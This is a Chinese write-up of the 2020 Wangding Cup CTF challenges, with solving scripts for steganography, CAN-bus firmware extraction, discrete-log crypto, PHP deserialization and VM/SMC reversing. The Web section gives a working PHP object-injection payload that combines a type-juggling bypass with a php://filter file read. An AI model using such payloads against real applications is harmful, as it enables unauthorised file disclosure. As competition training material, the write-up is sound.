2020 网鼎杯-青龙组 WriteUp

🏛️ 组织架构

  • 支持单位：国家网络与信息安全信息通报中心、深圳市人民政府、广东省公安厅

  • 联合主办：深信服科技股份有限公司、北京永信至诚科技股份有限公司

  • 联合协办：阿里巴巴、百度、腾讯、奇安信、清华大学网络科学与网络空间研究院、中国科学院信息工程研究所等

Misc

虚幻 2（RGB 隐写 + 汉信码修补）

pasted_1786228088426_xz1pia.png

识别文件是一张 PNG 图片，用 PIL 查看颜色

1
2
3
4
5
from PIL import Image

# 打开图片并转为 RGB 模式，确保统一处理
img = Image.open("file").convert("RGB")
print(img.getcolors())

pasted_1786260178924_98uvt2.png

这些颜色对应关系如下

RGB 二进制
(255,255,255) 111
(0,255,255) 011
(255,0,0) 100
(0,255,0) 010
(255,0,255) 101
(0,0,255) 001
(0,0,0) 000
(255,255,0) 110

像素总数是 180+22+30+38+55+45+36+26 = 432

432 × 3 RGB 通道 = 1296 bit = 36 × 36，所以它就是把一个 36×36 的黑白码拆成了 36×12 的 RGB 图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from PIL import Image, ImageOps
from math import isqrt

filename = "file"

# 打开图片并转为 RGB 模式，确保统一处理
img = Image.open(filename).convert("RGB")

bits = []

# 关键：按列读取，x 在外层，y 在内层，保证位串顺序与后续矩阵排列一致
for x in range(img.width):
    for y in range(img.height):
        r, g, b = img.getpixel((x, y))

        # 将每个通道的 255 视为 1，其他视为 0
        bits.append(1 if r == 255 else 0)
        bits.append(1 if g == 255 else 0)
        bits.append(1 if b == 255 else 0)

print("[+] bits length:", len(bits))

# 计算位串长度是否能构成正方形矩阵
n = isqrt(len(bits))

# 生成 36x36 黑白图，背景白色
out = Image.new("RGB", (n, n), "white")

# 将位串按行填充到输出图像中
for i, bit in enumerate(bits):
    x = i % n          # 当前列
    y = i // n         # 当前行

    # bit=1 画黑，bit=0 画白（保留白色背景）
    if bit == 1:
        out.putpixel((x, y), (0, 0, 0))
    else:
        out.putpixel((x, y), (255, 255, 255))

# 保存结果图片
out.save("hanxin_raw.png")
print("[+] saved hanxin_raw.png")

可以看到图片还是有缺陷部分，需要调整颜色，大小以及方向

pasted_1786261586079_at4yan.png

添加下面三行代码修复

1
2
3
4
5
6
7
8
# ImageOps.invert(out)：将图像 out 的所有颜色反转
# .rotate(90, expand=True)：将反转后的图像顺时针旋转 90 度
fixed = ImageOps.invert(out).rotate(90, expand=True)

# .resize((360, 360), Image.Resampling.NEAREST)：将旋转后的图像缩放为 360×360 像素的正方形
# Image.Resampling.NEAREST 是最近邻插值算法，它会直接复制最近像素的颜色，不进行平滑处理
fixed = fixed.resize((360, 360), Image.Resampling.NEAREST)
fixed.save("hanxin_rot90_invert.png")

pasted_1786261943883_tt2wny.png

手工/脚本修左下角定位符手机或在线汉信码解码器识别得到 flag：flag{eed70c7d-e530-49ba-ad45-80fdb7872e0a}

teslaaaaa（CAN 总线数据记录格式-ASC）

pasted_1788071387170_l4hnph.png

题目给的附件是常见的 CAN 总线日志格式，其中

1
2
730 Tx = 测试设备发给汽车 ECU 的数据
7B0 Rx = 汽车 ECU 回给测试设备的数据

所以我们重点关注 730 Tx，第 27 行有这么一段请求 10 0B 34 00 44 08 00 00

ISO-TP（ISO 15765-2）是一个传输层协议。它的核心作用就是解决 CAN 总线一帧最多只能传 8 字节数据的限制

1
10 0B 34 00 44 08 00 00

  • 1 (PCI 高 4 位): 值为 1，表示这是一个首帧 (FF)。它宣告了一个多帧传输的开始

  • 0B (PCI 低 12 位): 十六进制 0x00B，即十进制的 11。这表示整个 UDS 指令的总长度是 11 个字节

  • 34 00 44 08 00 00 (后续 6 字节): 这是原始 UDS 指令的前 6 个字节的数据

第二段请求则是 21 00 00 00 20 00 AA AA，取剩下的 5 个字节，21 00 00 00 20

得到 34 00 44 08 00 00 00 00 00 20 00：

1
2
3
4
5
34                RequestDownload
00                DataFormatIdentifier
44                AddressAndLengthFormatIdentifier
08 00 00 00       写入地址：0x08000000
00 00 20 00       写入大小：0x2000

所以后面 ECU 要被刷入一段大小为 0x2000 = 8192 bytes 的固件，加载地址是 0x08000000

紧接着后面出现大量这种数据，这里是 ISO-TP 多帧

1
2
3
10 82 36 01 28 04 00 20
21 45 01 00 08 21 03 00
22 08 23 03 00 08 ...

10 82 表示本次 ISO-TP 数据总长度 = 0x82 = 130 bytes

重组后的 UDS payload 是 36 01 + 128 bytes 固件数据

附件里从 36 01 到 36 40 一共有 0x40 块，每块有效固件数据是 128 字节，正好对应前面的 RequestDownload 大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import re
from pathlib import Path

asc_path = "ecu_can_log.asc"
out_path = "firmware_08000000.bin"

# 编译正则表达式，用于匹配 ASC 文件中标准 CAN 帧（ID 为 3 位十六进制，数据长度 8 字节）
frame_re = re.compile(
    r"^\s*(?P<ts>\d+\.\d+)\s+1\s+(?P<id>[0-9A-F]{3})\s+"   # 匹配时间戳、通道 1、ID
    r"(?P<dir>Tx|Rx)\s+d\s+8\s+"                           # 匹配方向(Tx/Rx)和 "d 8"
    r"(?P<data>(?:[0-9A-F]{2}\s+){7}[0-9A-F]{2})",        # 匹配 8 个十六进制字节（空格分隔）
    re.I                                                   # 忽略大小写
)

frames = []  # 存储所有符合条件的 CAN 帧信息（行号和数据）

# 打开并读取ASC文件
with open(asc_path, "r", encoding="utf-8", errors="ignore") as f:
    for line_no, line in enumerate(f):          # 遍历每一行，记录行号（从 0 开始）
        m = frame_re.search(line)               # 尝试用正则匹配该行
        if not m:                               # 如果不匹配，跳过该行
            continue

        can_id = int(m.group("id"), 16)         # 提取 CAN ID 并转为整数（十六进制）
        direction = m.group("dir")              # 提取方向（Tx 或 Rx）
        data = bytes.fromhex(m.group("data"))   # 将数据部分的十六进制字符串转为字节串

        # 本题只关心 Tester 发送给 ECU 的 0x730 Tx 帧（即诊断请求）
        if can_id == 0x730 and direction == "Tx":
            frames.append((line_no, data))      # 将符合条件的帧加入列表

messages = []   # 存放所有重组后的 UDS 消息（完整 payload）
cur = None      # 当前正在重组的多帧消息的缓存（bytearray）
need = 0        # 当前多帧消息期望接收的总有效载荷字节数

for line_no, data in frames:        # 按 ASC 文件顺序遍历所有筛选出的帧
    pci_type = data[0] >> 4         # PCI 类型（高半字节）：0=单帧，1=首帧，2=连续帧，3=流控

    # 单帧（Single Frame）
    if pci_type == 0x0:
        length = data[0] & 0x0F      # 低 4 位表示有效载荷长度（0-7）
        payload = data[1:1 + length] # 截取有效数据
        messages.append(payload)     # 直接作为一个完整消息
        cur = None                   # 重置当前重组状态（确保没有未完成的多帧）

    # 首帧（First Frame）
    elif pci_type == 0x1:
        need = ((data[0] & 0x0F) << 8) | data[1]  # 低 12 位表示总有效载荷长度（大端）
        cur = bytearray(data[2:])                  # 初始化缓存，首帧携带的前 6 字节数据

    # 连续帧（Consecutive Frame）
    elif pci_type == 0x2:
        if cur is not None:          # 只有当前存在未完成的多帧时，才追加数据
            cur.extend(data[1:])     # 连续帧的 PCI 后 7 字节均为有效载荷

    # 流控帧（Flow Control）本题不需要处理
    elif pci_type == 0x3:
        continue                     # 直接忽略

    # 检查当前多帧重组是否已收满（如果 cur 存在且长度已达到 need）
    if cur is not None and len(cur) >= need:
        messages.append(bytes(cur[:need]))  # 截取前 need 个字节作为一个完整消息
        cur = None                          # 重置状态

blocks = []   # 存储所有的固件块（每个块包含序号和块数据）

# 遍历所有重组后的 UDS 消息
for payload in messages:
    # 查找 UDS 服务 0x36（请求下载/数据传输），其第一个字节为 0x36
    if len(payload) >= 2 and payload[0] == 0x36:
        seq = payload[1]                    # 第二个字节为块序列号（从 0 或 1 开始）
        block_data = payload[2:]            # 剩余部分为实际块数据

        # 按照协议，每个块应为 128 字节（0x80），如果不是则抛出异常
        if len(block_data) != 0x80:
            raise Exception(f"bad block {seq:02x}, len={len(block_data)}")

        blocks.append((seq, block_data))    # 将块序号和数据存入列表

blocks.sort(key=lambda x: x[0])             # 按块序号升序排序，确保顺序正确

firmware = b"".join(block for _, block in blocks)  # 将所有块的数据按顺序拼接成完整的固件

Path(out_path).write_bytes(firmware)        # 将固件数据写入输出文件

IDA 反编译可以看到一个 flag，但可惜是假的

pasted_1788094692808_g2tjdx.png

去看看谁引用了它，因为这个固件没有 main 函数

pasted_1788094917580_aw5s8g.png

这里在修改 flag 的每一位，跳过前面的 flag{

pasted_1788095480715_d8ui3p.png

编写脚本解密得到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
fake = "flag{canoecr7-zd9h-1emi-or8m-f8vm2od81nfk}"

inner = list(fake[5:-1])

ops = {
    2:  -0x0d,
    11: -0x05,
    15: -0x2c,
    3:  -0x0b,
    5:  -0x30,
    7:  +0x2b,
    28: +0x32,
    31: +0x2e,
    19: -0x0d,
    20: -0x42,
    1:  +0x03,
    29: -0x37,
    24: -0x33,
    9:  -0x17,
    25: -0x06,
    27: -0x3c,
    4:  -0x34,
    6:  -0x0e,
    30: -0x34,
    22: -0x3a,
    12: -0x30,
    16: -0x38,
    34: -0x35,
    0:  -0x30,
    14: +0x03,
    17: -0x05,
    33: -0x37,
    35: -0x38,
    10: -0x02,
    26: -0x43,
    21: -0x06,
}

for idx, delta in ops.items():
    inner[idx] = chr(ord(inner[idx]) + delta)

flag = "flag{" + "".join(inner) + "}"
print(flag)

得到 flag{3dad13db-cb48-495d-b023-3231d80f1713}

Crypto

boom（签到）

博客地址：http://www.fzwjscj.xyz/index.php/archives/27/

第一题是求 MD5

第二题解方程

第三题同理

最后拿到 flag

you raise me up（模幂离散对数）

题目

1
2
3
n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)

也就是 c ≡ m ^ e (mod 2 ^ 512)

并且 m 被强制为奇数

1
m = random.randint(2, n-1) | 1

奇数在模 2 ^ 512 下一定有乘法逆元（因为与模数互素），所以它属于乘法群

这是一个模 2 的幂下的离散对数问题，一般离散对数很难，但模 2 的幂的群结构很特殊——它的阶是 2 ^ 511

因为 φ(2 ^ 512) = 2 ^ 511

但我们可以利用 “模 4” 这个小的模数先偷看一点信息，这个信息就是指数 e 的奇偶性

规律：底数为 3 (mod 4) 时，奇数次幂永远是 3 (mod 4)，偶数次幂永远是 1 (mod 4)

题目给出的 m 和 c 满足

1
2
m % 4 = 3
c % 4 = 3

所以指数 e 必为奇数

因为 e 是奇数，它可以写成

1
e = 2x + 1

代入原方程

1
c ≡ m ^ (2x + 1) (mod 2 ^ 512)

两边同时乘 m 的模逆

1
2
3
c * m ^ (-1) ≡ m ^ (2x + 1) * m ^ (-1) (mod 2 ^ 512)

c * m ^ (-1) ≡ m ^ 2x (mod 2 ^ 512)

令 g = m ^ 2，h = c * m ^ (-1)

1
g ^ x ≡ h (mod 2 ^ 512)

现在是要解出这个 x，因为 m 是奇数，m ^ 2 模 8 一定等于 1

任何奇数的平方减 1 都能被 8 整除

所以，我们可以把 g 写成

1
2
3
4
g = 1 + 8u
  = 1 + 2 ^ 3 * u

(u 是某个奇数)

在模 2 的幂的乘法群结构中有一个经典结论，对于形如 1 + 2^s * u（u为奇数） 且 s >= 2 的元素

它在模 2 ^ k 下的阶就是 2 ^ (k - s)

这里 k = 512, s = 3，所以 g 的阶就是

1
ord(g) = 2 ^ 509

这意味着，g 的 2 ^ 509 次方才会第一次回到 1

g 的所有幂次形成了一个有 2 ^ 509 个元素的循环圈。我们要求的指数 x 就在 0 到 2 ^ 509 - 1 之间。这个范围虽然大，但它的结构（阶是 2 的幂）给了我们可乘之机

我们已知 g ^ x ≡ h (mod 2 ^ 512)

并且 g 的阶是 r = 509，即 g 的幂次是一个 509 位的二进制数就能完全覆盖的圈

这个算法的精髓就是：我们可以一位一位地确定指数 x 的二进制位，从最低位到最高位

假设我们要求的指数 x 的二进制表示是

我们的目标是求出每一个 b_i（0 或 1）

假设我们已经通过某种方法求出了 x 的最低 i 位。我们把这部分已知的数值记作 x_i

例如，如果已知最低两位是 01，那 x_2 = 1

现在 x 可以拆成两部分

1
x = x_i + (剩下的高位部分)

因为 g 是奇数，与 2 ^ 512 互素，所以 g ^ (x_i) 一定有逆元，记作 g ^ (-x_i)

1
2
3
g ^ x ≡ h (mod 2 ^ 512)

g ^ x_i * g ^ (-x_i) ≡ 1 (mod 2 ^ 512)

对原等式 g ^ x ≡ h 两边乘以 g ^ (-x_i)

1
2
3
g ^ x * g ^ (-x_i) ≡ h * g ^ (-x_i) (mod 2 ^ 512)

     g ^ (x - x_i) ≡ h * g ^ (-x_i) (mod 2 ^ 512)

我们把右边这个已知的数值叫做 t

1
t ≡ h * g ^ (-x_i) (mod 2 ^ 512)

那么根据上面的等式，自然就有：

1
t ≡ g ^ (x - x_i) (mod 2 ^ 512)

因为 x_i 恰好包含了 x 的低 i 位，所以相减之后，低 i 位全部变成 0

于是我们可以写成

这里：

  • b_i * 2 ^ i 就是我们要找的第 i 位的值（只能是 0 或 1）

  • q 是更高位的总和，每一项至少包含因子 2 ^ (i + 1)，所以可以提取 2 ^ (i + 1) 出来，剩下的用 q 表示

我们想 “过滤” 掉高位 q，只留下 b_i 的信息。因为 g 的阶是 2 ^ r，我们可以利用一个性质：

如果一个指数包含 2 ^ r 这个因子，那一项就会变成 1

于是，我们故意把等式两边都升到 2 ^ (r - 1 - i) 次方

1
2
3
t ^ {2 ^ (r - 1 - i)} ≡ {g ^ (x - x_i)} ^ {2 ^ (r - 1 - i)} (mod 2 ^ 512)

t ^ {2 ^ (r - 1 - i)} ≡ g ^ {(x - x_i) * 2 ^ (r - 1 - i)} (mod 2 ^ 512)

代入 x - x_i 表达式

所以，我们现在得到

1
t ^ {2 ^ (r - 1 - i)} ≡ g ^ {b_i * 2 ^ (r - 1) + (q * 2 ^ r)}

现在指数里有一项是 q * 2 ^ r，我们可以把它拆开

1
2
g ^ {b_i * 2 ^ (r - 1) + (q * 2 ^ r)} = g ^ {b_i * 2 ^ (r - 1)} * g ^ (q * 2 ^ r)
                                      = g ^ {b_i * 2 ^ (r - 1)} * {g ^ (2 ^ r)} ^ q

因为 g 的阶是 2 ^ r，也就是说 g ^ (2 ^ r) ≡ 1 (mod 2 ^ 512)，所以：

1
2
{g ^ (2 ^ r)} ^ q ≡ 1 ^ q
                  ≡ 1

于是整个式子简化为

1
t ^ {2 ^ (r - 1 - i)} ≡ g ^ {b_i * 2 ^ (r - 1)}

现在指数只剩下 b_i * 2 ^ (r - 1)，因为 b_i 只能是 0 或 1，所以只有两种情况

  • 如果 b_i = 0，指数为 0 * 2 ^ (r - 1) = 0，于是 t ^ {2 ^ (r - 1 - i)} ≡ g ^ 0 ≡ 1

  • 如果 b_i = 1，指数为 1 * 2 ^ (r - 1)，于是 t ^ {2 ^ (r - 1 - i)} ≡ g ^ {2 ^ (r - 1)}

如何在实际算法中判断？？？我们预先计算好 “标记值”：

1
marker = g ^ {2 ^ (r - 1)} (mod 2 ^ 512)

这个 marker 有一个特点：它不等于 1，但是它的平方等于 1

因为

1
[g ^ {2 ^ (r - 1)}] ^ 2 = g ^ (2 ^ r) = 1

在每一步（第 i 位），我们计算

1
val = t ^ {2 ^ (r - 1 - i)} (mod 2 ^ 512)

然后判断：

  • 若 val == 1，则第 i 位是 0

  • 若 val == marker，则第 i 位是 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075

c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499

N = 2 ** 512


def long_to_bytes(x):
    return x.to_bytes((x.bit_length() + 7) // 8, "big")


def v2(x):
    """
    返回 x 中因子 2 的次数。
    例如 v2(40) = 3，因为 40 = 2^3 * 5。
    """
    return (x & -x).bit_length() - 1


def order_power_two(g, N):
    """
    计算 g 在模 N 下的阶。
    本题中阶一定是 2 的幂，所以不断平方直到等于 1。
    如果 g 的阶为 2^r，则返回 r。
    """
    cur = g % N
    r = 0

    while cur != 1:
        cur = pow(cur, 2, N)
        r += 1

    return r


def dlog_power2(g, h, N, r):
    """
    求解 g^x = h mod N
    其中 ord(g) = 2^r。

    使用逐 bit 的 Pohlig-Hellman 思路。
    """
    x = 0
    gx = 1

    # g^(2^(r-1)) 是阶为 2 的元素
    marker = pow(g, 1 << (r - 1), N)

    for i in range(r):
        # 去掉已经恢复出来的低 i 位
        t = h * pow(gx, -1, N)
        t %= N

        # 判断第 i 位
        val = pow(t, 1 << (r - 1 - i), N)

        if val == 1:
            bit = 0
        elif val == marker:
            bit = 1
            x |= 1 << i
            gx = gx * pow(g, 1 << i, N)
            gx %= N
        else:
            raise ValueError("discrete log failed at bit %d" % i)

    return x


# m ≡ 3 mod 4, c ≡ 3 mod 4，所以 e 为奇数
assert m % 4 == 3
assert c % 4 == 3

# e = 2x + 1
# c = m^(2x+1)
# c * m^(-1) = (m^2)^x
g = pow(m, 2, N)
h = c * pow(m, -1, N)
h %= N

print("[+] v2(g - 1) =", v2(g - 1))

r = order_power_two(g, N)
print("[+] ord(g) = 2^%d" % r)

x = dlog_power2(g, h, N, r)

e = 2 * x + 1

flag = long_to_bytes(e)

print("[+] e =", e)
print("[+] flag =", flag)

Web

AreUSerialz（PHP 反序列化 + 弱比较绕过 + PHP 伪协议）

pasted_1784268857502_u5khgs.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;                         // 操作类型：1-写，2-读
    protected $filename;                   // 操作的文件名
    protected $content;                    // 写入的内容

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!"; 
        $this->process();                  // 调用 process() 根据 $this->op 执行操作（此时 $this->op 为 NULL）
    }

    public function process() {
        if($this->op == "1") {             // 弱类型比较，若 $this->op 等于 "1" 则写入
            $this->write();
        } else if($this->op == "2") {      // 若 $this->op 等于 "2" 则读取并输出
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");  // 其他情况输出错误提示
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) { // 检查文件名和内容是否已设置
            if(strlen((string)$this->content) > 100) {         // 内容长度不能超过 100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content); // 写入文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {                            // 若文件名已设置
            $res = file_get_contents($this->filename);          // 读取文件内容
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")            // 析构时若 $this->op 强等于 "2"
            $this->op = "1";             // 改为 "1"，避免读取（但 process 仍会被调用）
        $this->content = "";             // 清空内容
        $this->process();                // 再次调用 process，此时 op 已变为 "1" 会执行写入
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  // 检查字符是否为可见 ASCII（空格到~）
            return false;
    return true;
}

if(isset($_GET{'str'})) {                // 接收 GET 参数 'str'

    $str = (string)$_GET['str'];
    if(is_valid($str)) {                 // 参数必须全为可见 ASCII
        $obj = unserialize($str);        // 反序列化，可能导致任意文件读写
    }

}
?>

因为字符串 "2" 严格等于字符串 "2"，所以 op 会被改成 "1"

1
2
if($this->op === "2")
    $this->op = "1";

此时执行的是写文件操作，无法读取 flag

1
2
3
if($this->op == "1") {
    $this->write();
}

因为我们需要将 op 设置为整数 2 从而绕过

利用伪协议读取文件 php://filter/read=convert.base64-encode/resource=flag.php

1
2
3
4
5
6
7
8
9
10
11
<?php
  class FileHandler {
  protected $op = 2;
  protected $filename ='php://filter/read=convert.base64-encode/resource=flag.php';
  protected $content;

}

$baimao = serialize(new FileHandler());
echo $baimao;
?>

序列化生成代码

1
O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:" * content";N;}

删除乱码并减去相应长度得到 Payload

1
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

Reverse

signal（VM 逆向）

pasted_1784271296885_uo9ffc.png

IDA 逆向分析这个 vm_operad() 函数

传入的参数 v4 是 &unk_403040 地址的值

pasted_1784271527967_ikuh4p.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
int __cdecl vm_operad(int *a1, int a2)   // a1: 字节码数组, a2: 字节码长度
{
  int result;
  char Str[200];                       // 虚拟机内存/寄存器区
  char v4;                             // 累加器 (ACC)
  int v5;                              // 内存写入指针 (用于 case 8)
  int v6;                              // 栈/缓冲指针1 (与 v8 同步)
  int v7;                              // 校验比较指针 (用于 case 7)
  int v8;                              // 操作数读取指针 (用于算术/存取)
  int v9;                              // 指令指针 (IP)

  v9 = 0;
  v8 = 0;
  v7 = 0;
  v6 = 0;
  v5 = 0;

  while ( 1 )
  {
    result = v9;
    if ( v9 >= a2 )                    // IP 超出范围则退出
      return result;

    switch ( a1[v9] )                  // 取指
    {
      case 1:                          // PUSH: 将累加器存入缓冲区，同时移动指针
        Str[v6 + 100] = v4;
        ++v9;
        ++v6;
        ++v8;
        break;

      case 2:                          // ADD: v4 = imm + Str[v8]
        v4 = a1[v9 + 1] + Str[v8];
        v9 += 2;
        break;

      case 3:                          // SUB: v4 = Str[v8] - imm
        v4 = Str[v8] - LOBYTE(a1[v9 + 1]);
        v9 += 2;
        break;

      case 4:                          // XOR: v4 = imm ^ Str[v8]
        v4 = a1[v9 + 1] ^ Str[v8];
        v9 += 2;
        break;

      case 5:                          // MUL: v4 = imm * Str[v8]
        v4 = a1[v9 + 1] * Str[v8];
        v9 += 2;
        break;

      case 6:                          // NOP: 跳过1字节
        ++v9;
        break;

      case 7:                          // CMP: 若 Str[v7+100] != imm 则失败退出
        if ( Str[v7 + 100] != a1[v9 + 1] )
        {
          printf("what a shame...");
          exit(0);
        }
        ++v7;
        v9 += 2;
        break;

      case 8:                          // STORE: 将累加器存入 Str[v5]，v5++
        Str[v5] = v4;
        ++v9;
        ++v5;
        break;

      case 10:                         // READ: 读取用户输入到 Str
        read(Str);
        ++v9;
        break;

      case 11:                         // DEC: v4 = Str[v8] - 1
        v4 = Str[v8] - 1;
        ++v9;
        break;

      case 12:                         // INC: v4 = Str[v8] + 1
        v4 = Str[v8] + 1;
        ++v9;
        break;

      default:                         // 无效指令，跳过（实际是 continue，可能死循环）
        continue;
    }
  }
}

程序中的 114 个整数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
10,

4,16,8,3,5,1,
4,32,8,5,3,1,
3,2,8,11,1,
12,8,4,4,1,
5,3,8,3,33,1,
11,8,11,1,
4,9,8,3,32,1,
2,81,8,4,36,1,
12,8,11,1,
5,2,8,2,37,1,
2,54,8,4,65,1,
2,32,8,5,1,1,
5,3,8,2,37,1,
4,9,8,3,32,1,
2,65,8,12,1,

7,34,
7,63,
7,52,
7,50,
7,114,
7,51,
7,24,
7,-89,
7,49,
7,-15,
7,40,
7,-124,
7,-63,
7,30,
7,122

第一条指令是 10，即调用 read(Str) 读取输入

之后是 15 组字符变换，最后是 15 组比较指令

目标数组为

1
2
3
34, 63, 52, 50, 114,
51, 24, -89, 49, -15,
40, -124, -63, 30, 122

令输入字符为 x[i]，首先是第 0 位

1
2
3
4
4,16    temp = x ^ 16
8       写回
3,5     temp = temp - 5
1       保存结果

方程式

1
(x ^ 16) - 5 = 34

由此得到

位置 变换 目标 解
0 (x ^ 16) - 5 34 7
1 (x ^ 32) * 3 63 5
2 (x - 2) - 1 52 7
3 (x + 1) ^ 4 50 5
4 x * 3 - 33 114 1
5 (x - 1) - 1 51 5
6 (x ^ 9) - 32 24 1
7 (x + 81) ^ 36 -89 2
8 (x + 1) - 1 49 1
9 x * 2 + 37 -15 f
10 (x + 54) ^ 65 40 3
11 (x + 32) * 1 -124 d
12 x * 3 + 37 -63 4
13 (x ^ 9) - 32 30 7
14 (x + 65) + 1 122 8

所以 flag 就是 flag{757515121f3d478}

jocker（SMC 逆向 + IDA 脚本）

pasted_1784276813864_xysy62.png

IDA 反编译发现对 Str 和 Destination 进行了操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Str[50];
  char Destination[80];
  DWORD flOldProtect;
  size_t v7;
  int i;

  __main();
  puts("please input you flag:");
  if ( !VirtualProtect(encrypt, 0xC8u, 4u, &flOldProtect) )  // 修改 encrypt 函数内存为可写（PAGE_READWRITE）
    exit(1);                                          // 失败则退出
  scanf("%40s", Str);                                 // 读取最多 40 字符的输入（防止溢出）
  v7 = strlen(Str);                                   // 获取输入长度
  if ( v7 != 24 )                                     // 长度必须为 24
  {
    puts("Wrong!");                                   // 长度不符则输出错误
    exit(0);                                          // 退出
  }
  strcpy(Destination, Str);                           // 备份原始输入到 Destination
  wrong(Str);                                         // 对输入执行某种变换/处理
  omg(Str);                                           // 对输入执行另一种变换/处理
  for ( i = 0; i <= 186; ++i )                        // 循环 187 次
    *(encrypt + i) ^= 0x41u;                          // 逐字节异或 0x41，解密 encrypt 函数代码
  if ( encrypt(Destination) )                         // 调用解密后的 encrypt 函数验证处理后的输入
    finally(Destination);                             // 验证成功则调用 finally 输出最终结果（flag）
  return 0;
}

最后输出 flag 的校验是由 encrypt 函数决定

反编译这个函数报错，这是 SMC 解密前的密文被 IDA 强行当作指令反汇编的结果

proc far、sp-analysis failed、异常的 retf 和大量无意义指令都是明显特征，不需要继续分析这些乱码

pasted_1784277660011_u982ch.png

回头看 main 函数的这段代码

1
2
for ( i = 0; i <= 186; ++i )
    *(encrypt + i) ^= 0x41u;

找到 encrypt 的具体地址

pasted_1784278544504_aqz0ha.png

因此需要处理

1
2
3
4
起始地址：0x401500
结束地址：0x4015BA，包含该字节
长度：0xBB
算法：每个字节 XOR 0x41
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import ida_auto
import ida_bytes
import ida_funcs
import ida_ua

START = 0x401500
END = 0x4015BB       # 结束地址不包含，所以实际最后一个字节是 0x4015BA

# 删除 IDA 当前错误识别的函数
for address in (0x401500, 0x40159A):
    function = ida_funcs.get_func(address)
    if function is not None:
        ida_funcs.del_func(function.start_ea)

# 对数据库中的字节进行 XOR 解密
for address in range(START, END):
    old_byte = ida_bytes.get_byte(address)
    ida_bytes.patch_byte(address, old_byte ^ 0x41)

# 清除原来的错误反汇编结果
ida_bytes.del_items(
    START,
    ida_bytes.DELIT_EXPAND,
    END - START
)

# 重新创建指令
address = START

while address < END:
    instruction_size = ida_ua.create_insn(address)

    if instruction_size <= 0:
        address += 1
    else:
        address += instruction_size

# 重新设置两个函数的范围
ida_funcs.add_func(0x401500, 0x40159A)
ida_funcs.add_func(0x40159A, 0x401641)

ida_auto.auto_wait()

点击脚本文件导入进去

pasted_1784280172311_ohlu7w.png

解密出正确的指令

pasted_1784280623155_31j69u.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 验证输入前 19 字符：与 "hahahaha_do_you_find_me?" 异或后等于硬编码数组
int encrypt(char* input) {
    int array[19];
    memcpy(array, (void*)0x403040, 19 * sizeof(int)); // 从全局数据复制 19 个整数
    int flag = 1;

    for (int i = 0; i <= 18; i++) {
        char key_char = "hahahaha_do_you_find_me?"[i]; // 取密钥对应字符
        if ((key_char ^ input[i]) != array[i]) {       // 异或后与期望数组比较
            puts("wrong ~");
            exit(0);                                   // 不匹配则退出
        }
    }

    puts("come here");
    return flag;
}

// 以随机小概率输出成功，实际只比较输入的第一个字符
void finally(char* input) {
    char local[5] = "%tp&:";           // 比较字符串
    srand(time(0));
    int rand_val = rand() % 100;       // 0~99 的随机数
    int mismatch = (local[0] != input[0]); // 比较第 1 个字符，不等为 1，等为 0

    if (mismatch == rand_val)          // 只有 rand_val 等于该值时打印成功（极低概率）
        puts("Really??? Did you find it?OMG!!!");
    else
        puts("I hide the last part, you will not succ...");
}

